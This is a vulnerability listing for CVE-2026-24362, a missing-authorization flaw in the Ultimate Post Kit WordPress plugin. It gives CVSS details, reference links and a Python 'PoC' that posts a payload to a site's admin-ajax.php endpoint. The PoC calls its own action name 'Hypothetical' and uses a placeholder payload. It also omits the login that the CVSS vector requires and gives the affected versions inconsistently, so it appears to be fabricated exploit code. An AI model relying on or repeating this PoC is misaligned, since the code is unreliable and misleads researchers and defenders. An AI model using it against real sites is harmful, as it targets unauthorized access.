CVE-2026-24362

Description

Missing Authorization vulnerability in bdthemes Ultimate Post Kit ultimate-post-kit allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Post Kit: from n/a through <= 4.0.21.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Post Kit <= 4.0.21

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Ultimate Post Kit < 4.0.21 - Missing Authorization PoC
# Description: This script demonstrates exploiting the missing authorization vulnerability.
# Usage: python3 poc.py

target_url = "http://target-domain.com/wp-admin/admin-ajax.php"

# The vulnerable action parameter (example)
payload = {
    "action": "upk_import_templates", # Hypothetical vulnerable action
    "data": "malicious_config"
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200:
        print("[+] Potential exploitation successful. Check response.")
        print(response.text)
    else:
        print("[-] Failed to exploit.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24362
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24362
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24362/
[4] VulDB https://vuldb.com/cve/CVE-2026-24362
[5] https://patchstack.com/database/Wordpress/Plugin/ultimate-post-kit/vulnerability/wordpress-ultimate-post-kit-plugin-4-0-21-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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